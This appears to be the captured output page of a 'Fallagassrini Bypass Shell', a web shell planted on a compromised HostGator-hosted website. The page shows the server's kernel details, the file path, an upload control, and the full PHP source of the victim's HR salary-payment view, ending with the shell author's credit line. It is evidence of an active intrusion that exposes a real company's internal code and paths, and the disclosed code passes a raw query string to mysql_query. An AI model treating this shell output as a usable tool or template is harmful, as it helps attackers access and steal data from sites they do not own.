? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/HR/viewsalarypayment.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<div class="select-bar">
		<label>
                    <img src="<?=base_url()?>/assets/images/add-icon.png" title="Add New"  class="clickimage" onclick="addsalarypayment(1)" alt="Add New" align = "top" width="25" height="25"  /></label>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        <label> Search For <input type="text" name="search" id="search" style="background-image: none;"> in <select id ="selectsearch" name="selectsearch"><option value="">All</option>
        <option value="staffid">Name</option>
    <option value="date">Date</option>

         </select>
</label>
    <label for="submit">
        <button type="submit" class="clickimage" id="submit" onclick="searchsalarypayment(document.getElementById('search').value,document.getElementById('selectsearch').value);">Search</button></label>



		  </div>


<table class="sort" cellpadding="0" cellspacing="0">
                                    <caption>Salary Payment</caption>
                                    <thead><tr>
						<th>Sl No.</th>



                                                <th>Employee Name</th>
                                                <th>Date</th>
                                                 <th>Basic Salary</th>
                                                  
                                                       <th>Gross Salary</th>
                                                <th class="last">Action</th>




					</tr>

   <?php
if($searchinfo == "")
    {
    if ($viewinfo->num_rows() > 0) {

           $z=1;
           $total=0;
        foreach ($viewinfo->result() as $row) {


if($z%2==0)
                {
                 $alt="alt";
                }
                else
                  $alt="alt1";

               $stf=$this->mastermodel->get_data_srow('staffpersonaldetails',$row->staffid,'id');
$allow=$this->mastermodel->get_data('salarypaymentallowdeduc',$row->id,'salarypaymentid');
$total+=$row->basicsalary;
foreach($allow as $alde)
{
     if($alde['allowdeductype'] == "1")
                    {

    $total+=$alde['amount'];
   // echo $total."<br>";
                    }
                    else
                        {
                        $total-=$alde['amount'];
                      //  echo $total."<br>";
                        }
}
$com=$this->mastermodel->get_data('salarypaymentcomdetails',$row->id,'salarypaymentid');
foreach($com as $comset)
{
    $total+=$comset['comamt'];
}
    $date = $this->mastermodel->convdatformat($row->date);
    echo '<tr  class="'.$alt.'"><td>'.$no.'</td><td>';?> <a href="javascript:void(0)" onclick="singlesalarypayment(0,<?=$row->id?>)"><?php echo $stf->name;?></a><?php echo '</td>
                      <td>'.$date.'</td><td>'.$row->basicsalary.'</td><td>'.$total.'</td>
                     <td >';?>
                    <?=anchor('hr/delete/salarypayment/'.$row->id.'/47', '<img src="'.base_url().'/assets/images/delete-icon.png" class = "clickimage" title="Delete" width="20" height="20" align = "center" >',array('class'=>'delete','onclick'=>"return confirm('Are you sure want to delete this record?')"))?>
                  <?php echo '</td></tr>' ;
              $no++;
  $z++;
        }
    }
    }
    else
        {
    $res = mysql_query($searchinfo);

    if (mysql_num_rows($res) > 0) {

         $z=1;
           $total=0;
        while($row=mysql_fetch_array($res)) {


if($z%2==0)
                {
                 $alt="alt";
                }
                else
                  $alt="alt1";

               $stf=$this->mastermodel->get_data_srow('staffpersonaldetails',$row['staffid'],'id');
$allow=$this->mastermodel->get_data('salarypaymentallowdeduc',$row['id'],'salarypaymentid');
$total+=$row['basicsalary'];
foreach($allow as $alde)
{
     if($alde['allowdeductype'] == "1")
                    {

    $total+=$alde['amount'];
   // echo $total."<br>";
                    }
                    else
                        {
                        $total-=$alde['amount'];
                      //  echo $total."<br>";
                        }
}
$com=$this->mastermodel->get_data('salarypaymentcomdetails',$row['id'],'salarypaymentid');
foreach($com as $comset)
{
    $total+=$comset['comamt'];
}
    $date = $this->mastermodel->convdatformat($row['date']);
    echo '<tr  class="'.$alt.'"><td>'.$no.'</td><td>';?> <a href="javascript:void(0)" onclick="singlesalarypayment(0,<?=$row['id']?>)"><?php echo $stf->name;?></a><?php echo '</td>
                      <td>'.$date.'</td><td>'.$row['basicsalary'].'</td><td>'.$total.'</td>
                     <td >';?>
                    <?=anchor('hr/delete/salarypayment/'.$row['id'].'/47', '<img src="'.base_url().'/assets/images/delete-icon.png" class = "clickimage" title="Delete" width="20" height="20" align = "center" >',array('class'=>'delete','onclick'=>"return confirm('Are you sure want to delete this record?')"))?>
                  <?php echo '</td></tr>' ;
              $no++;
  $z++;
        }
    }
    }
?>

                                        </table>

<ul class="paginate">
 <li class="pagsel"onclick="paginationsalarypaymentsearch('1','<?=$searchoption?>','<?=$searchtxt?>')"> <img src="<?php echo base_url() ?>/assets/images/first.gif"/> </li>
    <li class="pagsel" <?php if($pagenum>1){ ?> onclick="paginationsalarypaymentsearch('<?=$pagenum-1?>','<?=$searchoption?>','<?=$searchtxt?>')" <?php } ?> > <img src="<?php echo base_url() ?>/assets/images/prev.gif"/> </li>
<?php

//Pagination Numbers
for($i=$startpage; $i<=$endpage; $i++)
{

 if($pagenum==$i )
   {?>
  <li class="pagsel" onclick="paginationsalarypaymentsearch('<?=$i?>','<?=$searchoption?>','<?=$searchtxt?>')"><?=$i?></li>
   <?php }
   else
    {?>
  <li class="pag" onclick="paginationsalarypaymentsearch('<?=$i?>','<?=$searchoption?>','<?=$searchtxt?>')"><?=$i?></li>
   <?php }



}
?>
<li class="pagsel" <?php if($pagenum<$pages){ ?>  onclick="paginationsalarypaymentsearch(<?=$pagenum+1?>,'<?=$searchoption?>','<?=$searchtxt?>')"<?php } ?>> <img style="vertical-align:top" src="<?php echo base_url() ?>/assets/images/next.gif"/> </li>
    <li class="pagsel" onclick="paginationsalarypaymentsearch('<?=$pages?>','<?=$searchoption?>','<?=$searchtxt?>')"><img src="<?php echo base_url() ?>/assets/images/last.gif"/> </li>

</ul>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net